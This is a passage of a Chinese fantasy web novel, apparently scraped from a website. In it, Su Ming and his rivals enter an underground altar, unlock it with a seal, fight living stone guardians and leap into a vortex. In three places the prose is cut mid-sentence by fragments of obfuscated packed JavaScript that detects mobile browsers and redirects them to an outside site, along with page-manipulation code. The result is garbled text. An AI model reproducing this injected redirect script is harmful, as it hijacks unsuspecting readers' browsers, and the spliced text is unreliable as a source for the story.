苏明眼神冰冷,他知道,混战一起,谁也躲不掉。而且,那个金属面具男的目标,显然也包括他。他深吸一口气,压下伤势和疲惫,右手摸向腰间合金匕首,左手扣住了那张仅剩的“雷火符”。 然而,就在战斗一触即发的瞬间,异变再生! “呜——呜——呜——” 一阵低沉、苍凉、仿佛来自远古的号角声,毫无征兆地,从深渊深处,幽幽响起! 这号角声仿佛带有魔力,瞬间穿透了所有的厮杀和喧嚣,清晰地传入每个人的耳中!所有人,无论是正在拼杀的黑衣人和散修,还是紧张对峙的苏明、陈刚,亦或是冷眼旁观的阿九和那个金属面具男,动作都不由自主地一顿,心神被这突如其来的号角声所摄。 号角声持续了短短三息,便戛然而止。 但紧接着,深渊边缘,那些黑色金属箍上刚刚黯淡下去的符文,再次亮了起来!这一次,不是血煞冲刷下的微光,而是稳定、明亮、如同呼吸般有规律脉动的光芒!光芒交织,在深渊上方,形成了一片复杂的、缓缓旋转的立体光阵! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356246|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >光阵的中心,对准了下方喷涌的灰黑气柱。气柱仿佛受到了吸引,开始缓缓向光阵中心汇聚、压缩,颜色越来越深,最后,竟然在光阵中心,形成了一扇模糊的、由翻滚的灰黑色浓雾构成的、高达三丈的“门”的轮廓! “门户……开了?”有人失声。 那扇“雾门”缓缓旋转,内部光影变幻,看不真切,但一股更加精纯、也更加危险古老的阴冥气息,从门内隐隐透出。 金属面具男猛地转头,看向那扇“雾门”,眼中闪过一丝炽热。他不再理会这边的混战,身形一动,化作一道黑烟,径直朝着“雾门”射去!他身后,立刻分出两个黑衣人紧随其后,其余人则留下继续阻挡散修和苏明他们。 “拦住他!别让他先进去!”散修中有人大喊,但被黑衣人死死缠住。 阿九也在同一时间动了!她身形一晃,如同没有重量的青烟,以丝毫不慢于金属面具男的速度,掠向“雾门”! “路引持有者,跟上!”金属面具男冰冷的声音传来,带着命令的口吻。 苏明看了一眼陈刚,陈刚咬牙点头:“周兄弟,你们先走!我们拖住这里!如果……如果我们能进去,里面汇合!” “保重!”苏明不再犹豫。怀里的“路引”和背包里的法印,都在疯狂催促他。他知道,这可能是进入核心的唯一机会!错过这次,天知道那“雾门”什么时候会再开,或者,会不会开。 他脚下《踏云步》全力爆发,体内刚刚恢复的一丝灵力毫无保留地灌注双腿,身形如同离弦之箭,朝着“雾门”冲去!同时,他将“敛息术”催发到极致,尽量减少存在感。 “拦住他!”一个正在与陈刚交手黑衣人见状,厉喝一声,甩开陈刚,一道漆黑的刀气劈向苏明后背! 苏明头也不回,反手将扣在左手的“雷火符”向后掷出! “轰!” 雷火在身后炸开,挡住了刀气,也稍微阻碍了追击。苏明借力前冲,速度更快。 眼看“雾门”在即,跑在最前面的金属面具男,已经一步踏入了翻滚的灰黑雾气之中,身影瞬间被吞没。阿九紧随其后,也没入其中。 苏明是第三个。在他身后,还有两三个反应快、实力也强的散修,以及一个“影流会”的黑衣人,也拼命摆脱对手,冲向“雾门”。 就在苏明即将踏入“雾门”的瞬间,他眼角的余光,似乎瞥见,在废墟另一个方向的阴影里,一个一直没什么存在感、穿着破旧灰袍、佝偻着背的身影,也悄无声息地,如同融入阴影般,飘向了“雾门”。那身影的速度,快得诡异,而且,苏明在他身上,感觉不到任何灵力或能量波动,就像个……死人。 但此刻他已顾不上细看,前方“雾门”传来巨大的吸力,他身形不由自主地投入其中。 眼前一黑,天旋地转。熟悉的坠落感和混乱能量乱流再次袭来,但比之前从裂隙入口坠落时要轻微一些,仿佛穿过了一层粘稠的水膜。 短暂的失重和混乱后,双脚踩上了实地。 苏明稳住身形,立刻警惕地看向四周。 这里不再是废墟,也不是狭窄的通道。而是一个巨大的、难以想象其广阔的地下空间!头顶是看不到尽头的、闪烁着点点幽蓝色、如同星空般光芒的穹顶,那些光芒似乎是镶嵌在岩石中的某种奇异矿石发出的。脚下是平整的、由巨大黑色石板铺就的地面,石板上刻满了复杂到令人眼花的符文,一直延伸到视线尽头。 空气中弥漫着浓郁到化不开的阴冥之气,但奇怪的是,这阴冥之气并不显得污秽暴戾,反而有种沉重、肃穆、古老的感觉。仿佛置身于一座尘封了万年的神庙,或者……陵墓。 在他前方不远处,金属面具男和阿九已经站在那里。金属面具男正仰头看着前方,阿九则侧身而立,似乎在打量着这个空间。 更前方,大约百米之外,是这座巨大地下空间的中心。 那里,矗立着一座完全由某种暗沉如墨、却又隐隐泛着金属光泽的奇异石材建造而成的、高达数十丈的宏伟祭坛!祭坛呈金字塔形,分为九层,每一层都雕刻着不同的、充满蛮荒和诡秘气息的图案和符文。祭坛顶端,似乎是一个平台,但因为距离和角度,看不真切。 而连接祭坛与苏明他们所在“入口”处的,是一条宽阔的、同样由黑色石板铺成的神道。神道两侧,每隔十步,便矗立着一对高达三丈、造型狰狞、似人非人、似兽非兽的石头雕像。它们或持戈,或握戟,或捧书,或托印,姿态各异,但都面朝神道,沉默地守卫着。雕像表面覆盖着厚厚的灰尘,但那双石刻的眼睛,在幽蓝“星光”下,仿佛带着冰冷的审视。 这里,就是黑水城的真正核心?那座祭坛,就是“幽冥道”沟通冥河、举行祭祀的地方? 苏明心中震撼。这地方的气势,比他想象中更加宏大,也更加……危险。那些雕像,给他的感觉,绝不仅仅是装饰。 “跟上。” 金属面具男沙哑的声音响起,他不再看苏明和阿九,迈步,朝着神道,朝着那座巨大的祭坛,缓缓走去。步伐沉稳,似乎对这里并不陌生。 阿九看了一眼苏明,帽檐下的目光似乎闪过一丝难以捉摸的情绪,然后也迈步跟上。 苏明深吸一口气,压下心中的波澜和伤势的疼痛,也踏上了神道。 在他身后,灰雾翻滚的“门”中,又接连跌出几个人影,是最后冲进来的那两三个散修和那个黑衣人。他们落地后,也是满脸震撼地看着眼前的景象,随即,目光也投向了神道尽头的祭坛,眼中露出贪婪和渴望。 但没有人敢轻举妄动。金属面具男、阿九、苏明走在前面,后面的人警惕地跟着,彼此之间保持着距离。 神道漫长,脚步声在空旷死寂的空间里回荡,显得格外清晰。两侧的狰狞石像,仿佛活了过来,冰冷的目光随着他们的移动而移动。 空气中,那股古老肃穆的阴冥之气,越来越浓。苏明怀里的“路引”和背包里的法印,颤动得越来越厉害,尤其是法印,几乎要破匣而出,指向祭坛的方向。 越来越近了。 苏明的心脏,不受控制地加速跳动起来。 他不知道祭坛上有什么。可能是机缘,可能是传承,也可能是……无法想象的恐怖。 但他没有退路。 只能向前。 39. 祭坛之前 神道漫长,脚步在光滑冰冷的黑石板上叩出单调的回响。苏明跟在金属面具男和阿九身后十几步,努力将呼吸放得又轻又缓。左臂伤口一跳一跳地疼,像有个小人拿着锥子在里头敲。丹田里那点可怜的灵力运转得滞涩粘稠,像冻住了的油。星髓在怀里微弱地搏动,是这阴冷死寂里唯一的暖源。 两侧的石像沉默地注视着他们。苏明不敢多看,余光扫过那些狰狞的面孔、扭曲的肢体、还有手里紧握的、早已石化的兵刃。他觉得那些石头的眼睛深处,有某种东西,在幽蓝的“星光”下,微微地,动了。 错觉吧。他甩甩头,把目光钉在前方金属面具男挺直的、黑袍曳地的背影上。那人走得不快,步子均匀,每一步都像量过。阿九在他侧后方,步态轻得像没重量,灰扑扑的斗篷几乎要融进背景的黑暗里。 身后还有脚步声,是那几个跟上来的散修和那个黑衣人。脚步声杂乱,带着压抑的喘息和金属摩擦的轻响。能感觉到他们的目光,像钉子一样钉在背上,灼热,贪婪,又充满了忌惮。 空气里的阴冥之气越来越重,像无形的铅水,灌进肺里,又沉又冷。可偏偏,在这极致的阴寒死寂中,苏明怀里的天师法印,却反常地透出越来越明显的温热,烫着他胸口。那种呼应感,像一根看不见的弦,绷得死紧,另一头就系在前方那座巨大的、金字塔形的祭坛上。 祭坛越来越近了。近到能看清最底层基座上那些巨大浮雕的细节。不再是之前通道里模糊的符号,而是完整的、充满动态的画面:无数扭曲的人形,跪拜,挣扎,被投入翻涌的黑色水流;形态怪异、半人半兽的生物,在血与火中舞蹈、祭祀;天空是撕裂的,有星辰坠落,有巨大的、不可名状的阴影从裂缝中窥视…… 仅仅是看着,一股难以言喻的压抑、疯狂、绝望的情绪,就蛮横地往脑子里钻。苏明连忙移开视线,默念《玄天吐纳真解》的口诀,守住灵台一点清明。陈刚祖上说什么“幽冥道祭祀冥河、沟通阴阳”,看这浮雕,沟通的恐怕不是什么好东西。 终于,走到了神道尽头。眼前是九层祭坛的第一级台阶。每一级台阶都有一人高,数丈宽,同样是那种暗沉如墨、泛着金属冷光的奇异石材,表面光滑如镜,倒映着穹顶的幽蓝“星光”和他们的身影,显得格外诡异。 金属面具男在台阶前停下。阿九也站定。苏明跟着停下,离他们七八步远,手心里全是冷汗。他侧耳倾听,身后那几人也停住了,沉重的呼吸声清晰可闻。 一片死寂。只有穹顶“星光”那恒定的、冰冷的微光,和空气中几乎凝成实质的阴冥死气在缓缓流淌。 金属面具男缓缓抬起头,仰望着祭坛顶端那看不分明的平台。他看了很久,久到苏明几乎以为他变成了一尊新的石像。然后,他开口,声音嘶哑依旧,却多了一丝难以抑制的、仿佛岩浆在冰层下涌动的颤栗。 “到了……幽冥祭坛。黑水之眼,轮回之门。” 他收回目光,转向苏九,最后,落在了苏明身上。“钥匙,路引。” 没有解释,没有废话,是命令。 苏明心一沉。他知道躲不过。他深吸一口气,从背包最底层,小心地取出那个用符纸层层包裹的檀木盒。解开符纸,打开盒盖。那方巴掌大小、布满绿锈、却被几道暗红如血管的“秽血封灵纹”死死缠住的盘龙法印,静静地躺在里面。此刻,它正发出低沉的、如同蜂鸣般的震颤,表面的绿锈簌簌落下些许,露出底下更古老的暗金色铜质。 与此同时,阿九也拿出了她那半块“路引”碎片,非帛非纸的暗黄材质,上面暗红的路线符号仿佛活了过来,微微蠕动。 金属面具男的目光,如同实质的冰锥,在法印和“路引”碎片上缓缓移动。他伸出枯瘦的、戴着黑色皮手套的右手,掌心向上,做了一个“拿来”的手势。 空气瞬间绷紧。 苏明没动。阿九也没动。 “怎么?想反悔?”金属面具男的声音冷了下来,周身那股若有若无的黑色气息开始缓缓升腾,与祭坛散发出的阴冥死气隐隐呼应。“没有钥匙,打不开轮回之门。没有完整路引,找不到真正的‘门径’。把东西给我,或许,你们还能活着离开。” 赤裸裸的威胁。 苏明握紧了木盒。他能感觉到,法印的震颤越来越剧烈,几乎要脱手飞出。这不是普通的呼应,更像是……恐惧?还是兴奋?他看向阿九。帽檐下的阴影遮住了她的表情,只能看到紧抿的、没什么血色的嘴唇。 “东西可以给你。”苏明开口,声音在空旷的空间里显得有些干涩,“但你怎么保证,打开门之后,不会卸磨杀驴?” “你没有谈条件的资格。”金属面具男语气森然。 “是吗?”苏明忽然笑了,很淡,没什么温度,“判官大人,你大费周章,不惜派‘盗影’小组,甚至亲自来这鬼地方,不就是为了这方印,和门后面的东西吗?如果我现在把它毁了……”他手指微微用力,捏住法印,一丝锋锐的金行灵气在指尖凝聚,“你觉得,是你杀我快,还是我毁了它快?” 他这是在赌。赌对方对这法印的重视,远超对他这个“小快递员”的杀意。 金属面具男——判官,周身黑气猛地一凝。面具孔洞后的眼睛,冰冷地锁定了苏明,杀意几乎凝成实质。空气瞬间降至冰点。 就在这时,阿九忽然动了。她上前一步,挡在了苏明和判官之间,也挡住了那股恐怖的杀意。 “够了。”阿九的声音依旧没什么起伏,却带着一种奇异的穿透力,“东西给他。他需要钥匙开门,我们需要路引指路。现在翻脸,对谁都没好处。门开了,各凭本事。” 她转向苏明,帽檐抬起些许,露出一双在幽蓝“星光”下显得格外清冷的眸子:“相信我一次。或者,你有更好的办法?” 苏明看着她。这女人太神秘,看不透。但眼下,似乎也没有更好的选择。硬拼,以他现在的状态,加上阿九,也未必是这深不可测的判官的对手。何况后面还有虎视眈眈的散修和黑衣人。 他咬了咬牙,手一松,将檀木盒连同里面的天师法印,朝着判官掷了过去。动作不快,但很稳。 判官抬手,一股无形的力道托住木盒,落入他手中。他拿起法印,仔细端详,尤其是那几道暗红色的“秽血封灵纹”,发出一声意义不明的轻哼。然后,他看向阿九。 阿九也将手中的“路引”碎片抛了过去。 判官一手持印,一手捏着“路引”碎片。他走到第一级巨大的台阶前,将法印按在了台阶中央一处毫不起眼的、只有巴掌大小的凹槽里。那凹槽的形状,竟与法印底部严丝合缝! “咔哒。” 一声轻微的、仿佛机关契合的轻响。 紧接着,法印上那几道狰狞的“秽血封灵纹”,猛地亮起刺目的血光!仿佛活过来的毒蛇,疯狂地扭动、挣扎,与法印本身散发的暗金色温润光芒激烈对抗!判官低喝一声,枯瘦的手指在法印上快速点动,每一次点下,都有一缕精纯却阴寒的黑色灵力注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356247|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入,帮助那些血纹压制、消磨法印本身的灵光。 苏明看得心惊。这判官果然手段诡异,竟能催动这污秽的封灵纹!他想干什么?彻底污染、控制这方“钥匙”? 阿九也微微蹙眉,但没出声。 在判官的催动下,血纹光芒大盛,几乎将暗金色灵光完全压制。法印剧烈震颤,发出不堪重负的嗡鸣。就在苏明以为法印要被彻底污染崩毁时,判官猛地将手中那半块“路引”碎片,按在了法印顶部盘龙的龙口位置! “路引”碎片接触法印的瞬间,异变陡生! 碎片上那些暗红色的路线符号,如同拥有了生命,化作一道道血流,疯狂涌入法印之中!法印本身暗金色的灵光,仿佛被注入了新的力量,猛地反扑!与“秽血封灵纹”的血光,以及“路引”碎片的血符,三者竟然在法印内部,形成了一种极其诡异、脆弱的平衡!互相吞噬,互相融合,又互相排斥! 判官闷哼一声,似乎也承受了不小的压力。他死死按住法印,口中开始念诵一种低沉、古怪、充满邪异韵律的咒文。咒文声在空旷的祭坛前回荡,与法印发出的嗡鸣、血光金芒的闪烁交织在一起,构成一幅妖异而危险的画面。 随着咒文的持续,第一级台阶,开始发生惊人的变化! 以法印嵌入的凹槽为中心,一道道繁复、古老、散发着淡淡血金色光芒的符文,如同蛛网般迅速在光滑的台阶表面蔓延开来!很快,就布满了整个第一级台阶的表面!紧接着,是第二级,第三级……符文蔓延的速度越来越快,像是被唤醒的远古血脉,一层层点亮了整座九层祭坛! 幽蓝的“星光”下,血金色的符文光芒与祭坛本身暗沉的底色交织,宏伟,肃穆,又透着难以言喻的邪性。整座祭坛仿佛活了过来,散发出一种洪荒、古老、令人灵魂战栗的恐怖威压! “嗡——” 一声低沉、宏大、仿佛来自远古的嗡鸣,从祭坛最深处传来,瞬间传遍整个地下空间!地面开始震动,穹顶的“星光”也开始明灭不定地闪烁。 “轰隆隆……” 祭坛最顶端,那原本被阴影笼罩的平台处,血金色的光芒骤然爆发!一道粗大的、混合着暗金、血红、灰黑三色光芒的光柱,猛地从平台中心冲天而起,直射穹顶!光柱中,隐隐可见无数扭曲的符文和幻影流转,仿佛打开了某个禁忌的通道。 与此同时,一股难以形容的、混合了最精纯阴冥死气、古老神圣气息、以及混乱狂暴能量的洪流,如同决堤的江河,从那光柱中倾泻而下,席卷整个祭坛区域! “门……开了?”一个散修声音颤抖,带着难以置信的狂喜。 苏明也死死盯着那道三色光柱。这就是“轮回之门”?门后是什么?传承?宝藏?还是……地狱? 就在所有人的心神都被那冲天光柱吸引的瞬间,异变再生! “吼——!!!” 一声充斥着无尽暴虐、疯狂、怨恨的咆哮,毫无征兆地从神道两侧传来!咆哮声中,那几十尊一直沉默矗立的、狰狞巨大的石像守卫,体表的石壳,竟然出现了密密麻麻的裂纹!裂纹中,透出暗红色的、如同熔岩般的光芒! “咔嚓……咔嚓……” 石壳剥落!灰尘弥漫!一道道高大、扭曲、散发着浓郁死气和凶煞之气的黑影,从破碎的石像中站了起来!它们不再是冰冷的石头,而是活了过来!眼中燃烧着暗红色的火焰,手中石化兵刃上覆盖的石层也纷纷碎裂,露出底下锈迹斑斑、却寒光森森的金属! 40. 轮回之门 石像守卫的咆哮如同万鬼齐哭,震得苏明耳膜生疼。灰尘弥漫中,几十尊三丈高的黑影拔地而起,暗红的火焰在空洞的眼眶里燃烧,锈迹斑斑的金属兵刃在幽蓝星光和祭坛血金光柱的映照下,反射出冰冷凶戾的光。 它们动了。没有花哨的招式,没有多余的动作,只是迈着沉重、僵硬、却快得吓人的步伐,朝着神道上的所有人——判官、阿九、苏明,以及后面那几个散修和黑衣人——冲了过来!每一步落下,黑色石板都发出不堪重负的呻吟,碎石飞溅。 “守不住了!冲上祭坛!”阿九厉喝一声,身形率先化作一道青烟,朝着第一级被符文点亮的台阶掠去!速度快得只剩残影。 判官也反应极快,几乎在阿九动身的刹那,他已经一把抓起台阶凹槽里还在微微震颤、光芒明灭不定的天师法印,黑袍一卷,化作一股黑风,紧随阿九之后冲上台阶。他对那些苏醒的石像守卫似乎早有预料,毫不恋战。 苏明是第三个动的。在石像咆哮响起的瞬间,他就将《踏云步》催发到了极致,不管左臂伤口撕裂般的疼痛,不管空荡荡的丹田,榨出最后一丝力气,朝着台阶狂奔!身后,沉重的脚步声和兵刃破空声已经近在咫尺! “挡住它们!” “啊——!” 身后传来散修的怒吼和短促凄厉的惨叫。一个冲得稍慢的散修,被一尊持戈石像横扫,青铜戈刃带着千钧之力,直接将他连人带护体灵光砸成了漫天血雾!另一个黑衣人试图用弯刀格挡一尊持戟石像的劈砍,结果连人带刀被劈成两半,残躯被后续石像践踏而过。 死亡的阴影瞬间笼罩。苏明甚至能感觉到脑后呼啸的恶风,那是石像兵刃撕裂空气的声音!他不敢回头,脚下发力,猛地向前一扑! “砰!” 他重重摔在第一级台阶边缘,冰冷的石面撞得他胸口发闷。几乎同时,一道凌厉的劲风擦着他的后背掠过,将台阶边缘砍出一道深深的豁口,碎石擦着他的脸颊飞过,火辣辣地疼。 是那尊持戈石像!它一击不中,似乎被激怒,暗红的眼窝火焰暴涨,沉重的身躯竟然异常灵活地转身,巨大的石戈再次抡起,带着开山裂石之势,朝着还趴在台阶上的苏明狠狠砸下! 躲不开了!苏明瞳孔骤缩,生死关头,他右手猛地一拍台阶,身体借力向侧方翻滚,同时左手从腰间一抹,将最后那张“金光护身符”激发! “嗡!” 淡金色的光罩刚刚亮起,石戈已然砸落! “轰!!” 震耳欲聋的巨响!金色光罩如同蛋壳般瞬间破碎!苏明感觉自己像被攻城锤正面击中,五脏六腑都要移位,一口鲜血狂喷而出,身体如同破麻袋般被砸得向后倒飞,狠狠撞在第二级台阶的基座上,又滚落下来,瘫在第一级台阶上,眼前阵阵发黑,全身骨头像散了架。 而那石像也被“金光护身符”最后的反震之力震得微微一滞,动作慢了半拍。 就是这半拍!苏明强撑着几乎要昏迷的意识,咬破舌尖,剧痛让他精神一振。他看准石像那短暂僵直的瞬间,右手并指如剑,指尖一点压缩到极致的、混杂着星髓最后一丝星力的金芒,如同毒蛇吐信,精准无比地射入了石像那燃烧着暗红火焰的右眼眼眶! “嗤——” 一声轻响,仿佛冷水滴入滚油。那点金芒没入暗红火焰的瞬间,石像发出了一声更加凄厉、仿佛灵魂被灼烧的无声尖啸!整个庞大的身躯剧烈颤抖起来,眼眶里的暗红火焰明灭不定,动作彻底僵住,体表甚至出现了细密的裂纹! 有效!这石像守卫的核心,是那暗红火焰!苏明心中闪过明悟。他挣扎着想要爬起,补上一击。但身体却不听使唤,刚才那一下硬抗,让他本就重伤的身体雪上加霜,灵力彻底枯竭,连动动手指都困难。 就在这时,头顶阴影笼罩!另一尊持剑石像,已经跨过同伴,巨大的石剑带着凄厉的尖啸,朝着瘫倒在地、毫无反抗之力的苏明,当头劈下!剑未至,冰冷的杀意和死气已经刺得他皮肤生疼。 要死了吗?苏明看着那在视野中急速放大的石剑,心中一片冰冷。不甘,愤怒,还有一丝……奇异的平静。没想到,会死在这里,死在这些没有生命的石头怪物手里。 然而,预想中的剧痛和黑暗并没有降临。 “叮——!” 一声清脆到极致的、仿佛玉磬轻鸣的声响,在苏明头顶炸开! 那柄足以开山裂石的石剑,在距离苏明额头不足三寸的地方,被一根纤细的、莹白如玉的手指,轻轻点住了剑尖。 是阿九!她不知何时去而复返,站在了苏明身前。依旧是那身灰扑扑的斗篷,帽檐下的脸看不清表情。但她就用一根手指,抵住了那势若万钧的石剑劈砍!纤细的手指与巨大的石剑形成鲜明对比,却又带着一种难以言喻的、举重若轻的荒谬感。 石像守卫似乎也愣了一下,暗红的眼窝火焰跳动。它想抽回石剑,却发现剑身纹丝不动,仿佛焊死在了那根白玉般的手指上。 阿九抬头,看向石像。帽檐下,似乎有两点寒星般的眸光一闪而逝。她抵着剑尖的手指,极其轻微地,向下一压。 “咔嚓嚓……” 以她的指尖为中心,那坚硬无比、不知是何材质的巨大石剑剑身,竟然出现了密密麻麻的、蛛网般的裂纹!裂纹迅速蔓延,瞬间布满了整个剑身,然后—— “砰!” 整把石剑,连同那尊持剑石像握剑的手臂,轰然炸裂!化作无数碎石,四散飞溅!石像发出一声痛苦的嘶吼(虽然无声,但能感觉到),庞大的身躯踉跄后退。 阿九收回手指,仿佛只是掸了掸灰尘。她转身,弯腰,一把抓住苏明的衣领,像拎小鸡一样将他提了起来,然后足尖一点,身形如同没有重量的柳絮,轻飘飘地跃上了第二级台阶,几个起落,就追上了前方正在第三级台阶上与两尊石像周旋的判官。 整个过程快如闪电,兔起鹘落。等苏明反应过来,他已经站在了第三级台阶上,被阿九随手扔在一边,背靠着冰冷的石壁。他咳出两口血沫,惊魂未定地看着阿九的背影。 这个女人……到底什么修为?那石像守卫的力量,他刚才亲身体会过,绝对远超炼气期!阿九竟然只用一根手指就…… 判官也注意到了身后的动静,挥袖震开一尊持斧石像的劈砍,瞥了阿九和苏明一眼,眼神深处闪过一丝忌惮,但更多是灼热。他没说什么,继续向上冲去。台阶越往上越窄,但守卫的石像似乎也越少,但实力明显更强。判官手持天师法印,法印上血金黑三色光芒流转不定,散发出一股奇特的波动,让那些石像守卫似乎有些忌惮,攻击时略有犹豫,这才让他能且战且退。 阿九没有立刻跟上。她站在苏明身边,看着下方神道上,那些散修和黑衣人已经死伤殆尽,只剩下几尊石像在漫无目的地游荡,寻找着新的闯入者。更多的石像,正从破碎的躯壳中站起,朝着祭坛下方汇聚,但似乎对踏上台阶的他们,追击的欲望减弱了许多,只是在台阶下方徘徊,暗红的眼窝死死盯着上方。 “还能动吗?”阿九问,声音依旧没什么情绪。 苏明挣扎着坐起来,又吞下最后一颗益气丹——之前省下的。药力化开,滋养着干涸的经脉,带来一丝微弱的力量。他点点头,咬牙道:“死不了。” 阿九不再说话,转身朝着上方走去。苏明强撑着站起来,踉跄跟上。左臂已经完全麻木,胸口闷痛,每一步都牵扯着全身的伤痛。但他知道,现在停下,就是死。 第四级,第五级,第六级…… 台阶越来越高,越来越陡。判官在前面开路,阿九不紧不慢地跟着,偶尔出手,弹指间便让一尊拦路的石像崩碎瓦解,轻松得如同散步。苏明跟在最后,咬牙坚持,将全部心神都用在跟上步伐和运转那点可怜的灵力疗伤上。 周围的光线在变化。下方穹顶的幽蓝“星光”渐渐被上方祭坛顶端那冲天而起的、三色混合的光柱所掩盖。越往上,空气中那股混合的能量洪流就越发狂暴,阴冥死气、古老神性、混乱意志,如同潮水般冲刷着身体和灵魂。苏明不得不再次拍了一张“清心符”在额头,才能勉强保持清醒。 判官的状态似乎也不太好。他虽然实力强横,但催动天师法印似乎消耗巨大,黑袍上沾染了灰尘和石屑,气息也有些不稳。但他眼中的灼热,却越来越盛,死死盯着上方越来越近的光柱源头。 终于,踏上了第九级,也是最后一级台阶! 眼前是一个巨大的、方圆近百丈的圆形平台。平台地面同样是那种黑色石材,但光滑如镜,倒映着头顶那粗大无比、仿佛连接天地的三色光柱。光柱的中心,就在平台正中央,不断喷涌、旋转,散发出令人灵魂战栗的恐怖威压。 而在光柱前方,平台边缘,竟然还站着一个人! 是那个之前苏明惊鸿一瞥、穿着破旧灰袍、佝偻着背的身影!他背对着光柱,面向走上平台的三人,仿佛早已在此等候。宽大的灰袍兜帽遮住了他的脸,只能看到下巴处干瘪的皮肤和几缕灰白的头发。他手中,拄着一根歪歪扭扭、像是随手从树上折下的木杖。 看到这人,判官猛地停住脚步,面具后的眼睛骤然收缩,周身黑气剧烈翻腾,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏明犹豫了一下。灰袍人的话,让他心中不安。污秽之匙,不完整路引,灾殃……但已经到了这里,退回去也是死路一条。他咬了咬牙,也迈步跟上。走过灰袍人身边时,他感觉那浑浊的目光似乎在自己身上停留了一瞬,耳边似乎响起一声极其轻微的、几乎以为是幻觉的叹息。 三人来到光柱前。离得近了,才感受到这光柱的恐怖。三色能量如同实质的岩浆般翻涌奔腾,发出震耳欲聋的轰鸣。光柱中心,隐约能看到一个缓缓旋转的、深不见底的漩涡,漩涡边缘,空间都在微微扭曲,仿佛连接着另一个世界。 判官站在光柱前,举起天师法印,口中再次开始念诵那邪异低沉的咒文。这一次,咒文声更加急促,更加高亢。随着咒文,法印上的血金黑三色光芒猛地暴涨,与光柱中的能量产生了强烈的共鸣! “嗡嗡嗡——” 光柱剧烈震颤起来!中心的漩涡旋转速度骤然加快,一股强大到无法抗拒的吸力,从漩涡中传来! “就是现在!进!”判官暴喝一声,身形化作一道黑光,率先投入了那剧烈旋转的三色漩涡之中,瞬间消失不见。 阿九几乎在判官进入的瞬间,也化作一道青烟,没入漩涡。 苏明看着那仿佛能吞噬一切的恐怖漩涡,心脏狂跳。他知道,这一步踏出,就再也没有回头路了。可能是机缘,也可能是……灰袍人口中的“灾殃”。 他回头看了一眼。下方,是无尽的黑暗和隐约的石像咆哮。前方,是未知的漩涡。 没有选择了。 他深吸一口气,用尽最后的力气,纵身一跃,朝着那三色光芒疯狂流转、空间剧烈扭曲的漩涡中心,一头扎了进去! 身体没入光流的瞬间,他感觉时间、空间、一切感知都消失了。只有无穷无尽、混乱狂暴的能量,从四面八方撕扯、挤压、冲刷着他的身体和灵魂。比之前穿过“雾门”和坠落时强烈了何止百倍!护体灵力瞬间溃散,身上的衣物、背包,一切外物,都在以肉眼可见的速度分解、消融! “啊——!”他忍不住发出痛苦的嘶吼,但声音瞬间被能量的轰鸣吞没。他感觉自己的身体在崩解,灵魂在撕裂,意识在无尽的混乱和痛苦中,迅速沉向黑暗的深渊…… 最后残存的意识里,他似乎听到了一声遥远的、仿佛来自时光尽头的、沉重的叹息。又似乎看到了,在崩溃的身体前方,那方天师法印,在判官手中,轰然炸裂,化作无数光点,与三色光流融为一体。而阿九的身影,在光流中,似乎回头看了他一眼,眼神复杂难明…… 然后,是无边无际的黑暗,和死寂。 41. 幽冥殿 苏明觉得自己像块被扔进滚油里的肉。不,比那更糟。是无数的针,烧红的、淬毒的、带着倒刺的针,从每一个毛孔扎进去,在骨头缝里搅,在脑浆里炸。痛到极致,反而有点麻木,只剩下一种“我正在被拆成零件”的怪异认知。 然后,是冷。无边无际、仿佛从宇宙诞生之初就存在的、绝对的冷。不是温度的冷,是存在的、意义的、一切归于死寂虚无的冷。这冷意顺着被撕裂的神经末梢,一点点往上爬,要把他残存的意识也冻成冰块。 他好像在往下掉,又好像静止不动。时间、空间、上下左右,所有概念都糊成一团。只有光和影,混乱狂暴的三色流光,在周围疯狂旋转、拉扯,像一只巨兽的肠胃,要把他这个闯入者彻底消化。 就在意识即将被彻底冻结、撕碎、同化的最后一瞬,一点微弱却无比清晰的温热,从他胸口——星髓所在的位置——猛地扩散开来!如同冰天雪地里燃起的一点火星,虽然微弱,却顽强地抵抗着那绝对的寒冷和虚无。这温热带着一种浩大、平和、永恒的气息,与周围狂暴混乱的能量格格不入,却又像礁石般,屹立不倒。 是星髓!是它最后残存的一丝力量,在保护他! 苏明快要熄灭的意识,被这点温热一激,稍微清醒了一丝。他本能地,用尽最后的力气,将全部残存的心神,都沉入那点温热之中,死死抓住,如同溺水者抓住最后一根稻草。 混乱的流光、刺骨的寒冷、撕裂的痛苦……感官变得模糊,又似乎在某种更高层面上变得清晰。他“看”到,在疯狂旋转的三色光流中,无数破碎的画面、扭曲的符号、断续的嘶吼一闪而逝。有顶天立地的巨人陨落,血染苍穹;有黑色的河流贯穿大地,万灵沉浮;有恢弘的祭坛上,无数身影跪拜,祭祀着不可名状的阴影;还有一道璀璨的、仿佛由星光铺就的阶梯,通向未知的彼方…… 这些画面混乱、破碎、彼此矛盾,却又带着一种令人心悸的真实感,疯狂涌入他濒临崩溃的意识。他感觉自己的脑袋要炸开了。 